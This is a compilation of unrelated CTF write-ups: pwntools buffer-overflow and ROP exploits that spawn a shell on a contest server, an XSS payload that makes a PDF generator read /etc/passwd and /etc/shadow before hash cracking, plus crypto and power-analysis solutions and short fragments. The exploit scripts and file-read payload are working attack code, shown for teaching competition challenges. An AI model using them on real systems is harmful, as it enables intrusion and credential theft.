Tags: _pwn_ _x86-64_ _bof_ _remote-shell_
## Summary
Embryo pwn featuring `gets`.
From `man gets`:
```BUGS
Never use gets(). Because it is impossible to tell without knowing the datain advance how many characters gets() will read, and because gets() willcontinue to store characters past the end of the buffer, it is extremelydangerous to use. It has been used to break computer security. Use fgets()instead.```
Use `gets` to _break computer security_ **five different ways!**
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE + No canary = easy ROP; + Partial RELRO = ret2dlresolve.
### Ghidra Decompile
```cundefined8 main(void){ char local_78 [111]; char local_9; local_9 = '\0'; gets(local_78); if (local_9 == 'B') { get_flag(); } return 0;}```
`gets` is the vulnerability. The objective is to overflow the input buffer (`local_78`) to overwrite `local_9` with the character `B` to call `get_flag()` below.
`local_78` is `0x78` bytes from the base of the stack frame (right above the return address `main` will jump to on `return`). To get to `local_9`, just write `0x78 - 0x9` bytes of garbage followed by `B`, and the flag is yours:
```cvoid get_flag(void){ char *local_18; undefined8 local_10; local_18 = "/bin/sh"; local_10 = 0; execve("/bin/sh",&local_18,(char **)0x0); return;}```
`get_flag` should really be called `get_shell`, once you have a shell type `cat flag.txt`.
That's it.
## Exploit(s)
```python#!/usr/bin/env python3
from pwn import *
p = remote('pwn.utctf.live', 5000)
payload = b''payload += (0x78 - 0x9) * b'A'payload += b'B'
p.sendline(payload)p.interactive()```
See _Analysis_ above for an explaination.
But, what if there wasn't a check for `B`? What if this was missing:
``` if (local_9 == 'B') { get_flag(); }```
No problem, we'll just have to call `get_flag` ourselves:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE: p = remote('pwn.utctf.live', 5000)else: p = process(binary.path)
payload = b''payload += 0x78 * b'A'payload += p64(binary.sym.get_flag)
p.sendline(payload)p.interactive()```
Welcome to embryo ROP. Blow out the stack frame and get to the return address, then replace with the location of `get_flag()`.
But, what if `execve` in `get_flag` is really a troll, e.g. `/bin/echo no flag for you`?
No problem, we'll just have to send `/bin/sh` ourselves:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE: p = remote('pwn.utctf.live', 5000)else: p = process(binary.path)
pop_rdi = binary.search(asm('pop rdi; ret')).__next__()pop_rsi_r15 = binary.search(asm('pop rsi; pop r15; ret')).__next__()
payload = b''payload += 0x78 * b'A'payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(binary.plt.gets)payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(pop_rsi_r15)payload += p64(0)payload += p64(0)payload += p64(binary.plt.execve)payload += b'\n'payload += b'/bin/sh\0'
p.sendline(payload)p.interactive()```
Baby ROP. Just need a few gadgets from the binary to then call `gets` ourselves to write `/bin/sh` to the BSS, then call `execve` directly.
For this to work `rdx` needs to be `0` and fortunately it is.
But what if `rdx` is not set to `0`?
No prob, ret2csu:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE: p = remote('pwn.utctf.live', 5000)else: p = process(binary.path)
''' 401210: 4c 89 f2 mov rdx,r14 401213: 4c 89 ee mov rsi,r13 401216: 44 89 e7 mov edi,r12d 401219: 41 ff 14 df call QWORD PTR [r15+rbx*8] 40121d: 48 83 c3 01 add rbx,0x1 401221: 48 39 dd cmp rbp,rbx 401224: 75 ea jne 401210 <__libc_csu_init+0x40> 401226: 48 83 c4 08 add rsp,0x8 40122a: 5b pop rbx 40122b: 5d pop rbp 40122c: 41 5c pop r12 40122e: 41 5d pop r13 401230: 41 5e pop r14 401232: 41 5f pop r15 401234: c3 ret'''
pop_rbx_rbp_r12_r13_r14_r15 = 0x40122aset_rdx_rsi_rdi_call_r15 = 0x401210pop_rdi = binary.search(asm('pop rdi; ret')).__next__()
payload = b''payload += 0x78 * b'A'payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(binary.plt.gets)payload += p64(pop_rbx_rbp_r12_r13_r14_r15)payload += p64(0)payload += p64(1)payload += p64(binary.bss())payload += p64(0)payload += p64(0)payload += p64(binary.got.execve)payload += p64(set_rdx_rsi_rdi_call_r15)payload += 7 * p64(0)payload += b'\n'payload += b'/bin/sh\0'
p.sendline(payload)p.interactive()```
Baby talk ROP. Google _ret2csu_ or read some of my other write ups for details.
But, what if there is no `execve` in the GOT?
No worries, we'll just use `system`:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA', checksec=False)
rop = ROP(binary)ret = rop.find_gadget(['ret'])[0]
dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop.raw(ret)rop.gets(dl.data_addr)rop.ret2dlresolve(dl)
if args.REMOTE: p = remote('pwn.utctf.live', 5000)else: p = process(binary.path)
payload = b''payload += 0x78 * b'A'payload += rop.chain()payload += b'\n'payload += dl.payload
p.sendline(payload)p.interactive()```
Baby walk. Google _ret2dlresolve_ or read some of my other write ups for details.
Any of the above will get you a shell:
```bash# ./exploit.py[+] Opening connection to pwn.utctf.live on port 5000: Done[*] Switching to interactive mode$ cat flag.txtutflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}```
### But, what if ...
Just because there's a vulnerability (e.g. `gets`), that does not mean it's exploitable. There are other ways to mitigate, e.g. recompile with a stack canary and PIE (the defaults BTW), and this problem becomes a lot harder if not impossible. |
Payload Used:-
```html<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText)}; x.open("GET","file:///etc/passwd"); x.send();</script>
```
This render the /etc/passwd file.
Then I tried to open shadow file where all the password are stored in linux.

Fortunately, the /etc/shadow file rendered.

cracked the hash with john
then logged in with the username and password I got from john and got the flag

References:- --> https://blog.noob.ninja/local-file-read-via-xss-in-dynamically-generated-pdf/
|
# [UTCTF 2021] Sunset
## tl;dr
Break a [Diffie-Hellman](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) like scheme for generating a shared secret with a cryptosystem relating to some sort of[discrete fourier transform (DFT)](https://en.wikipedia.org/wiki/Discrete_Fourier_transform).The solution described here involves exploiting the **group properties of a cyclic array under convolution modulo a prime**.
## Description
cryptography/Sunset; 15 solves, 996 points
Challenge author: `oops`
```subset sumset what did i do Wrap the value of key with utflag{} for the flag.```
Files: `main.py` and `output.txt`
## Encryption scheme and goal of the problem
First let's look what's going on by looking at the code in `main.py`:
```pythonN = 111MOD = 10**9+7
...
A_sk = get_secret_key()B_sk = get_secret_key()
A_pk = compute_public_key(A_sk)B_pk = compute_public_key(B_sk)
print("Alice's public key:", A_pk)print("Bob's public key:", B_pk)
remove_elements = random.sample(range(1,N), 20)
print("Remove: ", remove_elements)
for x in remove_elements: A_sk.remove(x) B_sk.remove(x)
A_shared = compute_arr(B_pk, A_sk)B_shared = compute_arr(A_pk, B_sk)
assert(A_shared == B_shared)
key = hashlib.sha256(str(A_shared).encode('utf-8')).hexdigest()print(key)```
In summary the code does the following:
1. Generate secret key for Alice and Bob2. Compute a public key from Alice and Bob's secret keys3. Compute a public list `removed_elements` and remove from secret key4. Compute a shared secret derived from one's secret key and the other's private key
Through some magic math voodoo, somehow calling the function `compute_arr` on the other person's public key and their own modified secret key, they end up with the same shared secret.You can see the parallels of this with [Diffie-Hellman](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) which also compute a shared secret in the same way.
The provided code above prints the shared secret key between Alice and Bob. Inspecting the `output.txt` file we see:```Alice's public key: [337229599, 325950080, 542718415, 860180877, 323040995, 735779310, 864361739, 339968680, 3785502, 533120016, 467897389, 215111289, 669987332, 343447968, 613364155, 51939983, 765449638, 551522273, 206741830, 696620161, 429342149, 124186177, 279591669, 271013814, 267312863, 288321995, 348764133, 49562754, 432321364, 733407888, 336309352, 680320244, 258955444, 50477576, 936414592, 540997130, 244887424, 802248001, 190201074, 608424912, 230214096, 106258442, 396015541, 632533267, 826926560, 765609879, 938836920, 938836920, 765609879, 826926560, 632533267, 396015541, 106258442, 230214096, 608424912, 190201074, 802248001, 244887424, 540997130, 936414592, 50477576, 258955444, 680320244, 336309352, 733407888, 432321364, 49562754, 348764133, 288321995, 267312863, 271013814, 279591669, 124186177, 429342149, 696620161, 206741830, 551522273, 765449638, 51939983, 613364155, 343447968, 669987332, 215111289, 467897389, 533120016, 3785502, 339968680, 864361739, 735779310, 323040995, 860180877, 542718415, 325950080, 337229599, 243380866, 59055212, 837326354, 161482058, 581310056, 136700435, 58971689, 605319217, 379539507, 605319217, 58971689, 136700435, 581310056, 161482058, 837326354, 59055212, 243380866]Bob's public key: [299803618, 455114136, 158280000, 635585934, 770371709, 383640342, 296136746, 167814744, 69244076, 541537643, 915075673, 662114959, 715449225, 683799468, 84778891, 896156816, 900734048, 198579752, 761121766, 717769786, 696556462, 127571411, 667366203, 170409968, 339590760, 825653373, 824582729, 15723318, 429669228, 984644620, 731130374, 784679266, 21817661, 158555711, 566121948, 42699221, 705127489, 434494456, 798843545, 597222370, 728101364, 552436778, 728101364, 597222370, 798843545, 434494456, 705127489, 42699221, 566121948, 158555711, 21817661, 784679266, 731130374, 984644620, 429669228, 15723318, 824582729, 825653373, 339590760, 170409968, 667366203, 127571411, 696556462, 717769786, 761121766, 198579752, 900734048, 896156816, 84778891, 683799468, 715449225, 662114959, 915075673, 541537643, 69244076, 167814744, 296136746, 383640342, 770371709, 635585934, 158280000, 455114136, 299803618, 22273348, 709433923, 414958344, 318725017, 13092806, 621372737, 546139744, 640412379, 142648001, 843445006, 404605625, 548571564, 663856325, 565838629, 565838629, 663856325, 548571564, 404605625, 843445006, 142648001, 640412379, 546139744, 621372737, 13092806, 318725017, 414958344, 709433923, 22273348]Remove: [88, 2, 49, 14, 20, 91, 56, 79, 44, 81, 57, 73, 65, 67, 46, 84, 66, 17, 31, 53]```
Notably we have Alice and Bob's public key and the remove array,but the key is not.As suggested in the description of the challenge,the goal of the challenge is to recover the key.
## The implementation of the cryptosystem
Let's take a closer look at the functions used.The first is the secret key which is generates a list of random numbersbetween 1 and $N$ where each number has a random multiplicity between 1 and 10.The list is then shuffled.```pythondef get_secret_key(): key = [] for i in range(1, N): x = random.randrange(1,10) key += [i] * x random.shuffle(key) return key```
The next function applies an **array** of size $N$ and an arbitrary length **list** of numbers that take on values between $1$ and $N$. These **arrays** of size $N$ seem to be the objects of this cryptosystem. and these **lists** seem to be the keys. I will use these two terms to distinguish between the two.For each number $a_i$ in the list of numbers,it takes the array, and adds it modulo $MOD$ to a rotated versionof itself, where the rotation is by $a_i$ and modulo $N$.This strongly smells of something involving a [discrete fourier transform (DFT)](https://en.wikipedia.org/wiki/Discrete_Fourier_transform),as it involving rotations of an array.
```pythondef compute_arr(arr, sk): for x in sk: new_arr = arr.copy() for y in range(N): new_arr[(x+y)%N] += arr[y] new_arr[(x+y)%N] %= MOD arr = new_arr return arr```
The last function explains how the public key is generated.The secret key is applied to what is essentially an identity element of sorts,an array $[1,0, ...,0]$
```pythondef compute_public_key(sk): arr = [0] * N arr[0] = 1 return compute_arr(arr, sk)```
## Investigating the cryptosystem
The first thing to do is to play around with the cryptosystem to see what's going on. The most mysterious code is the `compute_arr` function, but its hard to understand what it does, so it serves to investigate how it is used. The cyclic nature of things really smelled like something involving DFTS. I'm only familiar with DFTS from the [Fast Fourier Transform (FFT)](https://en.wikipedia.org/wiki/Fast_Fourier_transform), which has numerous applications in computer science. That inspired this approach.
The most suspicious thing is how the two generate a shared secret when they know nothing about each other's secret keys, except they know each other's public keys and removed the same elements from their own secret keys. In particular, the order is randomized, and the removed elements are the first ones.
The easiest explanation is that the **order doesn't matter**, and whatever operation `compute_arr` does to an array is independent of whatever list that's passed in.
We easily verify that this is indeed the case with some code:
```python>>> A_pk = compute_public_key(A_sk)>>> random.shuffle(A_sk)>>> A2_pk = compute_public_key(A_sk)>>> A_pk == A2_pkTrue```
This means that to compute their shared secret, they are essentially **concatenating their secret keys and removing the same number of elements.** So if we could recover their secret keys, we'd be done (I believe it should be possible to do so because of the connection to DFTS, but I haven't spent the time to think aboutit yet)Because I know this has something to do with DFTS, concatenation of the lists (or more precisely pointwise addition of the multiplicities of the elements) is something done in the *Fourier transform* space,while the arrays live in the *primal* space.
I reasoned that there must be some sort of group operation on the arrays that would correspond to the concatenation of lists in the *Fourier transform* space.Guessing from what I know about FFT, I figured it might be **convolution**, so I coded it and tried it out.
```pythondef conv_arr(a1, a2): a3 = [0] * N for i in range(N): for j in range(N): a3[i] += a1[j] * a2[(i-j+N)%N] a3[i] %= MOD return a3
assert(compute_arr(compute_public_key(A_sk), B_sk) == conv_arr(compute_public_key(A_sk), compute_public_key(B_sk)))```
Lo and behold, it actually worked! Furthermore it seems that the array $I = [1,0,...,0]$ is the **identity** element, as `conv_arr(I, arr) == arr`. This means that we have a **commutative group structure** in the *Fourier transform* space with the group operator being **convolution**. With this group structure, all we need to do is apply the group operator to `A_pk` and `B_pk` and apply the group operator to the **inverse** of `compute_public_key(remove_elements)`!
Technically I haven't shown that this is a group yet, since its not clear that these inverses exists. But things are working modulo a prime $MOD = 10^9+7$, so there's strong reason to believe that applying the group operation to a single element enough times it will be cyclic.
Now I have no idea how to compute the inverse, so I made it a goal to compute the inverse of `compute_public_key([3])` which I will denote by $\mathcal{T}([3])$. If we knew the **order** of the elements in the group, we could compute inverses. To see why, let's denote the order by $m$ so
$$\mathcal{T}([3])^m = \mathcal{T}([3]).$$
Then $\mathcal{T}([3])^{m-2}$ would be an inverse. Since operations are done modulo $MOD$, it stands to reason that $MOD$ would be a good guess of an order of an element. To verify this guess I would need to take a lot of convolutions (which would be too slow), but we can use a [fast exponentiation technique](https://en.wikipedia.org/wiki/Exponentiation_by_squaring) to do so with only $O(\log MOD)$ convolutions.```pythondef compute_pow(sk, t): arr = [0] * N arr[0] = 1 ans = arr.copy() arr = compute_arr(arr, sk) while t: if t&1: ans = conv_arr(ans, arr) arr = conv_arr(arr, arr) t >>= 1 return ans```
Unfortunately it turned out that $MOD$ was not the order.
```python>>> compute_public_key([3])[1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]>>> compute_pow([3], MOD)[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]>>> compute_public_key([3]) == compute_pow([3], MOD)False```However, $\mathcal{T}([3])$ looked a lot like $\mathcal{T}([24])$.```python>>> compute_public_key([24]) == compute_pow([3], MOD)True```This leads me to conjecture that
$$\mathcal{T}([k])^{MOD} = \mathcal{T}([8k]).$$
I do some testing and this statement seems to be true.Next I observe that as the array is cyclic mod $N = 111$ so for some value $h$,
$$\mathcal{T}([k])^{MOD^h} = \mathcal{T}([(8hk\;\text{mod}\;111)]).$$
Choosing $h = \phi(N) = 72$ we should get what we want!
$$\mathcal{T}([k])^{MOD^{72}} = \mathcal{T}([k]).$$
It takes a few seconds to run and verify this, but it works!```python>>> compute_pow([3], MOD**72) == compute_public_key([3])True```This means we can find inverses now!
```pythondef inverse_arr(arr, sk): ans = conv_arr(arr, compute_pow(sk, MOD**72-2)) return ans```Now , we've computed the order of elements of the group, we finish it off in one beautiful line of computation:
```pythonshared = inverse_arr(conv_arr(A_pk, B_pk), removed_elements)```
It takes 6 seconds on my beefy machine, but that's to be expected when we have to do $O(\phi(N)\cdot \log MOD)$ convolutionsof a length $N$ array in python.
## The mathematics behind it
Why does this work? Well mostly because of the [shift theorem and circular convolution theorem](https://en.wikipedia.org/wiki/Discrete_Fourier_transform#Shift_theorem), `compute_arr` adds to the array a phase shifted copy of itself. On top of this convolution naturally forms a group operation, so it magically lends itself to this group structure.I didn't really think too hard about why these things work, and mostly just made good guesses.I'll work out the math some other day (including as to whether directly recovering the private keys is possible)
## Solve script
This is was the final script:```pythonimport hashlib
N = 111MOD = 10**9+7
A_pk = [337229599, 325950080, 542718415, 860180877, 323040995, 735779310, 864361739, 339968680, 3785502, 533120016, 467897389, 215111289, 669987332, 343447968, 613364155, 51939983, 765449638, 551522273, 206741830, 696620161, 429342149, 124186177, 279591669, 271013814, 267312863, 288321995, 348764133, 49562754, 432321364, 733407888, 336309352, 680320244, 258955444, 50477576, 936414592, 540997130, 244887424, 802248001, 190201074, 608424912, 230214096, 106258442, 396015541, 632533267, 826926560, 765609879, 938836920, 938836920, 765609879, 826926560, 632533267, 396015541, 106258442, 230214096, 608424912, 190201074, 802248001, 244887424, 540997130, 936414592, 50477576, 258955444, 680320244, 336309352, 733407888, 432321364, 49562754, 348764133, 288321995, 267312863, 271013814, 279591669, 124186177, 429342149, 696620161, 206741830, 551522273, 765449638, 51939983, 613364155, 343447968, 669987332, 215111289, 467897389, 533120016, 3785502, 339968680, 864361739, 735779310, 323040995, 860180877, 542718415, 325950080, 337229599, 243380866, 59055212, 837326354, 161482058, 581310056, 136700435, 58971689, 605319217, 379539507, 605319217, 58971689, 136700435, 581310056, 161482058, 837326354, 59055212, 243380866]B_pk = [299803618, 455114136, 158280000, 635585934, 770371709, 383640342, 296136746, 167814744, 69244076, 541537643, 915075673, 662114959, 715449225, 683799468, 84778891, 896156816, 900734048, 198579752, 761121766, 717769786, 696556462, 127571411, 667366203, 170409968, 339590760, 825653373, 824582729, 15723318, 429669228, 984644620, 731130374, 784679266, 21817661, 158555711, 566121948, 42699221, 705127489, 434494456, 798843545, 597222370, 728101364, 552436778, 728101364, 597222370, 798843545, 434494456, 705127489, 42699221, 566121948, 158555711, 21817661, 784679266, 731130374, 984644620, 429669228, 15723318, 824582729, 825653373, 339590760, 170409968, 667366203, 127571411, 696556462, 717769786, 761121766, 198579752, 900734048, 896156816, 84778891, 683799468, 715449225, 662114959, 915075673, 541537643, 69244076, 167814744, 296136746, 383640342, 770371709, 635585934, 158280000, 455114136, 299803618, 22273348, 709433923, 414958344, 318725017, 13092806, 621372737, 546139744, 640412379, 142648001, 843445006, 404605625, 548571564, 663856325, 565838629, 565838629, 663856325, 548571564, 404605625, 843445006, 142648001, 640412379, 546139744, 621372737, 13092806, 318725017, 414958344, 709433923, 22273348]rem = [88, 2, 49, 14, 20, 91, 56, 79, 44, 81, 57, 73, 65, 67, 46, 84, 66, 17, 31, 53]
# apply transform to convolution world def compute_arr(arr, sk): for x in sk: new_arr = arr.copy() for y in range(N): # take values in sk, and circularly add values of arr. new_arr[(x+y)%N] += arr[y] new_arr[(x+y)%N] %= MOD
arr = new_arr return arr
# fast exponentiationdef compute_pow(sk, t): arr = [0] * N arr[0] = 1 ans = arr.copy() arr = compute_arr(arr, sk) while t: if t&1: ans = conv_arr(ans, arr) arr = conv_arr(arr, arr) t >>= 1 return ans
# compute inverse of arraydef inverse_arr(arr, sk): ans = conv_arr(arr, compute_pow(sk, MOD**72-2)) return ans
# convolution is group operation def conv_arr(a1, a2): a3 = [0] * N for i in range(N): for j in range(N): a3[i] += a1[j] * a2[(i-j+N)%N] a3[i] %= MOD return a3
# the transform operationdef compute_public_key(sk): arr = [0] * N arr[0] = 1 return compute_arr(arr, sk)
A_shared = inverse_arr(conv_arr(A_pk, B_pk), rem)key = hashlib.sha256(str(A_shared).encode('utf-8')).hexdigest()print(key)```
Flag:```utflag{3f3ae3284970df318be8404747bb003fe47cd9bdbb57fc1da52a01b3c028180f}```
|
At the start we are presented with a form containing 2 things: a text area (with some example in it) and a submit button.

When we submit the form we get back a PDF file with the content of the textarea rendered as HTML. If we download this file we can check what was used for generating it, and we will see that it was [wkhtmltopdf](https://wkhtmltopdf.org/) 0.12.4.

After that we can do a quick search for `wkhtmltopdf 0.12.4 exploit` and we will quickly [find](http://hassankhanyusufzai.com/SSRF-to-LFI/) this article about a local file read vulnerability. We can now write a simple request to try reading the `passwd` & `shadow` file:

In both cases we will presented with a pdf that contains the content of those files. Once we have those we can unshadow them and use [john](https://www.openwall.com/john/) to try and crack the password.

With that we can head to the login page, enter the username & password and get the flag. |
# Fine, fine```We hooked an oscilloscope to a chip we found on the floor near the entrance of the Crypto-Party. It executes what looks like the public key computation on secp256r1 from some static secret, but it seems we can specify the input point though...And it's definitely a Montgomery Ladder. That secret in there must give us access to free cryptodrinks, surely?
```## Initial dataWe are provided with the following code:```python#!/usr/bin/python3simport numpy as npimport requests
url = 'http://fine-fine.donjon-ctf.io:6000'
def send_getpubkey(data): cmd = {'cmd' : 'getpubkey', 'data': data } x = requests.post(url, json = cmd) if x.headers["content-type"] == "application/octet-stream": trace = np.frombuffer(x.content, dtype=np.uint16) return trace else: return x.json()
if __name__ == "__main__": print(send_getpubkey("aa"*64)) r = send_getpubkey("6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c2964fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5") # this is secp256r1's basepoint ```
An API is exposed by the `fine-fine.donjon-ctf.io` server, and returns a power trace of a device apparently computing `k.P`, with `k` an static unknown secret scalar, and `P` an attacker-chosen point on the `secp256r1` curve.
The trace of a random point, let's say the generator `G`, looks like the following:
```pythonfrom matplotlib import pyplot as pltcv = Curve.get_curve('secp256r1')n = cv.orderg = cv.generator
def trace_from_point(p): return send_getpubkey(bytes(cv.encode_point(p)[1:]).hex())
plt.plot(trace_from_point(g))plt.show()
```

## Montgomery Ladder
The wording of the challenge mentions the *Montgomery Ladder*: this algorithm is an improvement of the classic "Double-and-Add" method, since it is protected against *Simple Power Analysis*. Indeed, as shown in the algorithm below, the *Montgomery Ladder* carries out the same operations (a point addition and a point doubling operation for each bit of the scalar) during the complete multiplication, independently of the scalar's value.

## Masking operationsIf we ask multiple traces for the same operation (*e.g.* `k.G`), and draw the mean value of theses traces at each point in time t, we obtain the following kind of graph: ```pythontraces = list()for _ in range(30): traces.append(trace_from_point(g))traces = np.array(traces)plt.plot(traces.mean(axis=0))plt.show()```

We can observe that two sets of points seem to have a different mean value from the rest. These points are most likely correlated to the coordinates of the point G (which stays unchanging for every multiplication).The rest of the values seem to have a mean value of around 32768 (2**15), which is the median value of a `uint16`.
It would thus seems that some randomization mechanism is applied in the computation in order to mask the correlation between the intermediate values that are computed by the algorithm and the power cunsumption.
These randomization strategies aim to protect against *Differential Power Analysis* techniques, and are quickly summarized in the introduction of the paper "[A Refined Power-Analysis Attack onElliptic Curve Cryptosystems](https://www.iacr.org/archive/pkc2003/25670199/25670199.pdf)" by *Louis Goubin* (which also gives away the strategy to solve the challenge).
## The vulnerabilityAs mentionned in the paper quoted above, the three DPA-countermeasures all involve changing the coordinates of the point to be multiplied, in order to perform the multiplication in another coordinate system (such as the Jacobian system), in another elliptic curve or another field; in each case a random element makes the computation unique, and thus "protected" against DPA.
However, if a point has one of its coordinate equals to zero (in the original curve/field/affine coordinate system), this property stays true when the point is "transformed" by one of the three methods. As a result, the addiction or doubling operation performed on such a point consume less power on average.
If we send such a point to the server, we indeed observe a difference in the power trace:
```pythonZ = Point(0, cv.y_recover(0), cv)plt.plot(trace_from_point(Z))plt.show()```
We observe more sets of points that are equal to zero, which corespond to computations performed on points that have one coordinate equals to 0 (which we are going to call `Z`)
## The exploitWe are now able to determine if the point `Z` (for which the X coordinate is 0) is handled at some point in the computation of the *Montgomery Ladder*.
If we submit a point `P` such as there is some known `s` for which `s.P=Z`, and we observe "gaps" in the power traces returned by the server, we thus will know that `k` (the secret) will probably starts with the bits of `s`.
Let's try 128 values for `s` starting with `1`, and mark the number of zeroes in each power traces (which correspond to "gaps" aforementionned):```pythondef zeroes(t): return t.tolist().count(0)
# number of zeroes found in a "normal" power tracemin_z = zeroes(trace_from_point(g))
for s in range(1, 129): s_inv = pow(s, -1, n) # if s.P=Z, then P=(s^-1).Z P = s_inv * Z z = zeroes(trace_from_point(P)) - min_z print(f"{s=}, {z=}")``````s=1, z=257 <=s=2, z=98 <=s=3, z=130 <=s=4, z=2s=5, z=48 <=s=6, z=129 <=s=7, z=6s=8, z=1s=9, z=3s=10, z=5s=11, z=51 <=s=12, z=130 <=s=13, z=1[...]s=22, z=6s=23, z=131 <=s=24, z=53 <=s=25, z=2[...]s=45, z=1s=46, z=132 <=s=47, z=53 <=s=48, z=4[...]s=91, z=3s=92, z=129 <=s=93, z=51 <=s=94, z=4[...]s=128, z=5```
It seems that high number of zeroes in the traces occur for some pairs of `s` values, : (5,6), (11,12), (23,24), (46,47), (92,93)...
And we also can empirically observe that the sequence of the first numbers of each pairs (5, 11, 23, 46, 92, ...) follows a simple rule: each number is either *the double* of its predecessor, or *the double plus 1*.
We can thus progressively construct a `s` that will share more and more bits with `k`, and print it during the process to see the flag appear little by little :)
```pythons=1while s.bit_length() < 256: s *= 2 s_inv = pow(s, -1, n) # if s.P=Z, then P=(s^-1).Z P = s_inv * Z z = zeroes(trace_from_point(P)) - min_z if z < 50//2: s += 1 print(s, s.to_bytes(256//8, "little")[::-1])```
```2 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'5 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05'11 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b'23 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17'46 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.'92 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\'184 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8'369 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01q'738 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xe2'1476 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xc4'[...]10436617478697981009077101136567912771579695474699038459121447228382494183023 b'\x17\x12\xea\x89q\x8e\xb8r\xb6hj\x88\xcfh\xed\r\xeen\x8ek\xec-\xcc\x8b\xe8\xed\xee\xacM-\xceo'20873234957395962018154202273135825543159390949398076918242894456764988366047 b'.%\xd5\x12\xe3\x1dp\xe5l\xd0\xd5\x11\x9e\xd1\xda\x1b\xdc\xdd\x1c\xd7\xd8[\x99\x17\xd1\xdb\xddX\x9a[\x9c\xdf'41746469914791924036308404546271651086318781898796153836485788913529976732094 b'\\K\xaa%\xc6:\xe1\xca\xd9\xa1\xaa#=\xa3\xb47\xb9\xba9\xaf\xb0\xb72/\xa3\xb7\xba\xb14\xb79\xbe'83492939829583848072616809092543302172637563797592307672971577827059953464189 b'\xb8\x97TK\x8cu\xc3\x95\xb3CTF{Ghosts_and_Goubins}'``` |
The challenge catclub is written in Python and offers the web-service shadymail that can be accessed after an image captcha is solved and the hidden catclub page where various pictures of random cats can be seen. |
Since each compute_arr step is the same as a matrix multiplication, and it is invertible, we can reverse steps easily by multiplying public keys with the inverse matrix.
Also, since each value in the public key corresponds to the number of times a combination of values in its corresponding secret key summed up to its index, we can merge two values.
So we can find the value with `reverse(merge_values(alice_pkey, bob_bkey), removed_values)` |
We have access to a decryption oracle, but the algorithm used is AES-GCM. The oracle indicates if the message is valid or not. The queries are very limited so we can use a partitionning oracle to reduce the number of queries and recover the keys. |
This challenge requires us to break a hash function 100 times in a row. Looking inside the python file, the hash function works by looping over every pair of bytes in the input. For each pair (x,y), the hash function computes the xor of x with k1, the xor of the y with k2, and the product of the two xors. Finally, the number of trailing zeroes in its binary representation is counted and printed.
First, the number of trailing zeroes of a product is equivalent to the sum of the number of trailing zeroes in the multiplier and multiplicand.
